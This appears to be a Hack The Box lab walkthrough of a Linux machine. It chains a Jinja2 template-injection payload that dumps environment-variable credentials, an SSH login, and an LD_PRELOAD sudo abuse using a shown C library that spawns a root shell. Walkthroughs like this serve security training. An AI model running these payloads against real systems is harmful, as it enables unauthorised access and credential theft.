Hack The Box · Lab
MediumLinuxWeb

SCOPE

IP HOSTNAME DOMAIN OS
10.10.11.67 environment environment.htb Linux (Ubuntu 22.04)

ATTACK

1. Port Scan

nmap -sC -sV -p- --min-rate 5000 -oN environment.nmap 10.10.11.67
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Small attack surface. Web app on port 80 is the entry point.


2. Web Enumeration

Add environment.htb to /etc/hosts. The web application is a Python Flask app for managing environment configurations. Fuzz subdomains and directories.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://environment.htb -H "Host: FUZZ.environment.htb" -fc 302,301

No additional subdomains. The app has a template rendering endpoint that accepts user input — test for SSTI.


3. SSTI — Jinja2 Template Injection

The web app renders user-supplied data into a Jinja2 template without sanitisation. Test for SSTI by injecting a basic expression:

Input: {{7*7}}
Output: 49

Confirmed Jinja2 SSTI. Escalate to reading environment variables from the running process — Flask apps commonly store secrets and database credentials in environment variables loaded at startup:

{{self.__init__.__globals__['__builtins__']['__import__']('os').environ}}
{'FLASK_APP': 'app.py',
 'FLASK_ENV': 'production',
 'DB_HOST': 'localhost',
 'DB_USER': 'webapp',
 'DB_PASS': '<REDACTED>',
 'APP_USER': 'dev',
 'APP_PASS': '<REDACTED>',
 ...}

Multiple credentials exposed via environment dump. APP_USER/APP_PASS map to a system account.


4. SSH Foothold

ssh dev@10.10.11.67
dev@environment:~$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)

user.txt is in dev's home directory.


5. Sudo Enumeration — LD_PRELOAD Abuse

sudo -l
Matching Defaults entries for dev on environment:
    env_keep+=LD_PRELOAD, ...

User dev may run the following commands on environment:
    (root) NOPASSWD: /usr/bin/systemctl restart nginx

Two critical conditions are present simultaneously: env_keep+=LD_PRELOAD in sudoers Defaults preserves the LD_PRELOAD variable across privilege boundaries, and a NOPASSWD sudo rule allows restarting nginx. When sudo executes the command, it loads the preload library as root.


6. Root via LD_PRELOAD

Compile a shared library that spawns a shell when loaded:

// preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/systemctl restart nginx
root@environment:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.


FULL ATTACK CHAIN

nmap → port 80 Flask web app
→ SSTI in Jinja2 template rendering
→ {{os.environ}} dump → APP_PASS credential
→ SSH as dev → user.txt
→ sudo -l → LD_PRELOAD preserved + NOPASSWD systemctl
→ compile malicious .so → sudo LD_PRELOAD=./preload.so systemctl restart nginx
→ root shell → root.txt

ⓒ 0xNRG